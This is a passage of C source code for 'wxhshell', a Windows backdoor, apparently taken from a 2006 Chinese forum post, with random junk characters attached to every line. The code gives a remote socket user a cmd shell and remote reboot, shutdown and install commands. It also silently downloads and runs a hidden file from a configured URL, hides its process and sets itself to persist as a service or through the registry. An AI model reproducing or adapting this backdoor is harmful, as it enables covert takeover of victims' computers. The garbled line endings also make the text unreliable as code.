  // 帮助 O ]t)`+%q  
  case '?': { "7w=LhzV[$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tYx>?~   
    break; !j9(%,PR  
  } &jh17y  
  // 安装 .+5;AtN  
  case 'i': { !y3XIbdS"  
    if(Install()) dlwOmO'Bm)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;7(vqm<V2~  
    else D 75;Y;E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ozl>Au  
    break; YOUX  
    } 4Dasj8GsV  
  // 卸载 L8KaK  
  case 'r': { _!%@V=  
    if(Uninstall()) jOL=vG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w=thaF.  
    else G~/*!?&z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }'h\;8y  
    break; \+<=O`  
    } R  xc  
  // 显示 wxhshell 所在路径 DK|/|C}6  
  case 'p': { [o.#$(   
    char svExeFile[MAX_PATH]; x)f<lZ^L&H  
    strcpy(svExeFile,"\n\r"); q0@b d2}  
      strcat(svExeFile,ExeFile); T;3B_ lu]  
        send(wsh,svExeFile,strlen(svExeFile),0); Jjh=zxR>  
    break; \M~uNWv|  
    } B XO,  
  // 重启 |lh&l<=(f  
  case 'b': { ULxgvq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \mw5 ~Rf;  
    if(Boot(REBOOT)) >dwY( a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hh%|}*f_,  
    else { 'i 8`LPQ  
    closesocket(wsh); pMkM@OH  
    ExitThread(0); +l<;?yk:;  
    } pK)!o  
    break; q[c^`5  
    } F`o"t]AD-a  
  // 关机 unyU|B  
  case 'd': { Qi|k,1A0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y~ wN:  
    if(Boot(SHUTDOWN)) yg"FF:^T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R)%I9M,  
    else { `r0MQkk  
    closesocket(wsh); T!>sL=uf  
    ExitThread(0); XKvH^Z4h{l  
    } x'V:qv*O  
    break; y>ePCDR3  
    } >vNE3S_  
  // 获取shell $Eo-58<q  
  case 's': { s2 $w>L  
    CmdShell(wsh); 2=X.$&a  
    closesocket(wsh); t5EYu*  
    ExitThread(0); [\=1|t5n~  
    break; u`u{\ xN9  
  } ^h"@OEga?  
  // 退出 c`7dNx  
  case 'x': { PsN_c[+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nsu RG  
    CloseIt(wsh); 3u9}z+q  
    break; l)Mi?B~N  
    } Oo9'  
  // 离开 l$C Y gm  
  case 'q': { *Q;?p hr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y\E7nll:.  
    closesocket(wsh); ~FnY'F<35  
    WSACleanup(); ;V84Dy#b  
    exit(1); e,l-}=5* P  
    break; aO* v"^oF  
        } KuMH,rXF  
  } n{"a 0O  
  } UFyk%#L  
@Z Dd(xB&  
  // 提示信息 K/8TwB?I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <6C:\{eo  
} seZb;0  
  } ^_uCSA'X  
E*QLw* H  
  return; ;+lsNf  
} VBK|*Tl  
V/yj.aA*@  
// shell模块句柄 Sea6xGdq  
int CmdShell(SOCKET sock) Nu+DVIM  
{ Bx|h)e9  
STARTUPINFO si; rf]x5%ij  
ZeroMemory(&si,sizeof(si)); rg I Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |]b,% ?,U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fRp(&%8E  
PROCESS_INFORMATION ProcessInfo; >*$Xbj*  
char cmdline[]="cmd"; RJdijj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vHb^@z=  
  return 0; [iC]Wh%  
} WLCr~r^  
5X:3'*  
// 自身启动模式 _U Y5  
int StartFromService(void) cuL/y$+EY  
{ l6.&<0pLT  
typedef struct ?3<Y/Vg%c  
{ Fp>nu_-"  
  DWORD ExitStatus; LXf|n  
  DWORD PebBaseAddress; }|l7SFst  
  DWORD AffinityMask; c,}VC-  
  DWORD BasePriority; xggF:El3{  
  ULONG UniqueProcessId; \9]- (j6[H  
  ULONG InheritedFromUniqueProcessId; n'!x"O7  
}   PROCESS_BASIC_INFORMATION;  Au*1-  
c~!ETwpHQ  
PROCNTQSIP NtQueryInformationProcess; V9wL3*  
%{0F.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'Qg.D88  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; & 5QvUn  
dEam|  
  HANDLE             hProcess; %I@ vMs^  
  PROCESS_BASIC_INFORMATION pbi; P|TM4i]  
/`j2%8^N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g-cg3Vso  
  if(NULL == hInst ) return 0; K+Pa b ?  
T NF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \ZBz]rh*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \xmDkWzE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _AH_<Z(  
{8,_[?H  
  if (!NtQueryInformationProcess) return 0; Pav  
SME]C') 7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c,#Nd@  
  if(!hProcess) return 0; D H:9iX'  
Ti>}To}B5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +R"n_6N  
IH.EvierJ  
  CloseHandle(hProcess); LVdtI  
A:5P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @@=,bO  
if(hProcess==NULL) return 0; GK#D R/OM  
D[{"]=-  
HMODULE hMod; ,Qj\_vr@  
char procName[255]; 8#HQ05q>  
unsigned long cbNeeded; 0f9U:)1z  
x!u6LDq0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e1hf{:&/G@  
,Bj]j -\Y  
  CloseHandle(hProcess); vgi`.hk  
 &%T*sR  
if(strstr(procName,"services")) return 1; // 以服务启动 juxAyds  
cG4}daK]d  
  return 0; // 注册表启动 BRv#`  
} W >|'4y)  
!$<Kp6  
// 主模块 >L$9fn/J  
int StartWxhshell(LPSTR lpCmdLine) P=X)Ktmv  
{ S KGnx  
  SOCKET wsl; !e('T@^u6u  
BOOL val=TRUE; ,I:[-|Q  
  int port=0; boZ/*+t  
  struct sockaddr_in door; ;HiaX<O!  
-?Cu-'  
  if(wscfg.ws_autoins) Install(); P@Vs\wAT  
}TDq7-(g  
port=atoi(lpCmdLine); _B\87e  
U\>k>|Jr{  
if(port<=0) port=wscfg.ws_port; {vur9L  
rym*W\AWx  
  WSADATA data; #r]GnC,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C}\kp0mz  
.:tR*Kst`7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A@reIt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +y][s{A  
  door.sin_family = AF_INET; S e(apQH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {fMo#`9=  
  door.sin_port = htons(port); Z1wfy\9c8  
;XXEvRk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Uh^j;s\y  
closesocket(wsl); WL3J>S_  
return 1; Y>K8^GS  
} nyOvB#f  
w<Iq:3  
  if(listen(wsl,2) == INVALID_SOCKET) { y tTppmJF  
closesocket(wsl); U[:Js@uH_  
return 1; Kc+9n%sp  
} -#g0  
  Wxhshell(wsl); Ef=4yH?\j  
  WSACleanup(); {6F]w_\  
D c]J3r  
return 0; 8qT^=K $  
<g, 21(bc  
} 51'V[tI;8  
LtNspFoLb  
// 以NT服务方式启动 SA [(1dy;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vb`:   
{ /}s#   
DWORD   status = 0; $[b1_Db  
  DWORD   specificError = 0xfffffff; dCzS f4:  
l{V(Y$xp3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V_KHVul  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X$ A ]7t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K:Z|# i-  
  serviceStatus.dwWin32ExitCode     = 0; lNv xt6@s  
  serviceStatus.dwServiceSpecificExitCode = 0; nDNK}O~'  
  serviceStatus.dwCheckPoint       = 0; 'f6!a5qC  
  serviceStatus.dwWaitHint       = 0; O\w-hk  
4n%|h-!8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KCn#*[  
  if (hServiceStatusHandle==0) return; ,_:6qn{  
/1r {z1pv\  
status = GetLastError(); $-gRD|oY  
  if (status!=NO_ERROR) VC^QCuSq  
{ &cf_?4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F^Mt}`O  
    serviceStatus.dwCheckPoint       = 0; z@2nre  
    serviceStatus.dwWaitHint       = 0; <p[RhP  
    serviceStatus.dwWin32ExitCode     = status; M*F`s& vM  
    serviceStatus.dwServiceSpecificExitCode = specificError; ' &Nv|v\V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ccCI \  
    return; i^ eDM.#X  
  } bW zUWLa  
ShOB"J-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %i&\ X[  
  serviceStatus.dwCheckPoint       = 0; P}-S[[b73s  
  serviceStatus.dwWaitHint       = 0; :Y)G-:S+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  3;Tsjv}  
} UDb  
PH!rWR  
// 处理NT服务事件,比如:启动、停止 yI's=Iu`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l+?sR<e?!  
{ 6Q`7>l.|?  
switch(fdwControl) Q>\9/DjUp  
{ I5g!c|#y  
case SERVICE_CONTROL_STOP: M U2];  
  serviceStatus.dwWin32ExitCode = 0; --TY[b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N ^H H&~V  
  serviceStatus.dwCheckPoint   = 0; T7*p! 0  
  serviceStatus.dwWaitHint     = 0; M5+K[Ir/y9  
  {  j g_;pn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (@xr/9:i  
  } S#|5&SR  
  return; |l,0bkY@&  
case SERVICE_CONTROL_PAUSE: wE_#b\$=b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9bD ER  
  break; |LE*R@|3$  
case SERVICE_CONTROL_CONTINUE: (M%ZSF V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +VHo YEW  
  break; `~LaiN.  
case SERVICE_CONTROL_INTERROGATE: }k6gO0z  
  break; 58Z,(4:E  
}; _i0,?U2C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s?&UFyYb,  
} <2PO3w?Z  
C6:; T%  
// 标准应用程序主函数 9Oc(Gl5az  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) - [7S.  
{ h>n<5{zqM  
xQ8?"K;iX  
// 获取操作系统版本 \eS-wO7%  
OsIsNt=GetOsVer(); "C]_pWk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _^Q =n>G  
1$uO%  
  // 从命令行安装 y?V#LW[^E  
  if(strpbrk(lpCmdLine,"iI")) Install(); RZI4N4o  
(M,*R v  
  // 下载执行文件 .p\<niu7  
if(wscfg.ws_downexe) { C-VkXk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }_cX" s  
  WinExec(wscfg.ws_filenam,SW_HIDE); T28Q(\C:}  
} C?PgC~y)  
+p &$`(  
if(!OsIsNt) { {I QCA-AI  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ga $EM  
HideProc(); @ {8x L  
StartWxhshell(lpCmdLine); vce1'aW  
} 3HB(rTw  
else Ndqhc  
  if(StartFromService()) zY\MzhkX,  
  // 以服务方式启动 | PzXN+DW  
  StartServiceCtrlDispatcher(DispatchTable); 6s&%~6J,  
else {i:Ayhq~&  
  // 普通方式启动 EN~ha:9  
  StartWxhshell(lpCmdLine); |dk9/xdX  
= k>ygD_  
return 0; 2(NN QU@Uz  
}
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只看该作者 1 发表于: 2006-10-10
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